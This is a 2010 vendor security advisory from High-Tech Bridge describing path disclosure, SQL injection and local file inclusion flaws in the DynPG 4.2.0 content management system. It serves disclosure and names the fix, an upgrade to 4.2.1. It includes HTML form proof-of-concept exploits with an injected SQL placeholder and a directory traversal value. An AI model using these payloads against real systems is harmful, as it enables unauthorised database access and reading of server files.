High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Vulnerabilities in DynPG

Advisory ID:HTB22701
Vulnerable Versions:4.2.0 and probably prior
Tested Version:4.2.0
Advisory Publication:November 16, 2010 [without technical details]
Vendor Notification:November 16, 2010
Public Disclosure:November 30, 2010
Latest Update:November 17, 2010
Vulnerability Type:Information Exposure Through Externally-generated Error Message [CWE-211]
SQL Injection [CWE-89]
PHP File Inclusion [CWE-98]
CVE References:CVE-2010-4401
Risk Level:High
CVSSv2 Base Scores:5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DynPG which could be exploited to perform SQL injection attacks, disclose potentially sensitive information and compromise vulnerable system.

1) Installation path disclosure weakness in in DynPG: CVE-2010-4401

The weakness was found in the languages.inc.php script. A remote attacker can obtain knowledge of the application`s installation folder by directly accessing the vulnerable script.

Exploitation example:

2) SQL injection vulnerabilities in DynPG: CVE-2010-4400

The vulnerability exists due to input sanitation errors in the "giveRights_UserId" parameter in _rights.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation example:
<form action="http://[host]/_rights.php" method="post" name="main" >
<input type="hidden" name="saveRights" value="1" />
<input type="hidden" name="giveRights_giveright" value="1" />
<input type="hidden" name="giveRights_UserId" value="123'SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />

3) Local file inclusion vulnerability in DynPG: CVE-2010-4399

Input passed to the "CHG_DYNPG_SET_LANGUAGE" variable in index.php is not properly sanitized before being used to include local files. A remote attacker can include arbitrary files on the target system using directory traversal sequences.

Exploitation example:
<form action="http://[host]/index.php" method="post" name="main" >
<input type="hidden" name="SYSTEM_NAME" value="[admin_login]" />
<input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" />
<input type="hidden" name="SET_LANGUAGE" value="1" />
<input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="../../../../../" />
<input type="submit" value="submit" name="submit" />

Upgrade to version 4.2.1.

ImmuniWeb® by High-Tech Bridge

[1] High-Tech Bridge Advisory HTB22701 - https://www.htbridge.com/advisory/HTB22701 - Multiple Vulnerabilities in DynPG
[2] DynPG - dynpg.ch - DynPG stands for dynamic web pages and is a free content management system (CMS). It is written in PHP and uses MySQL as database management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.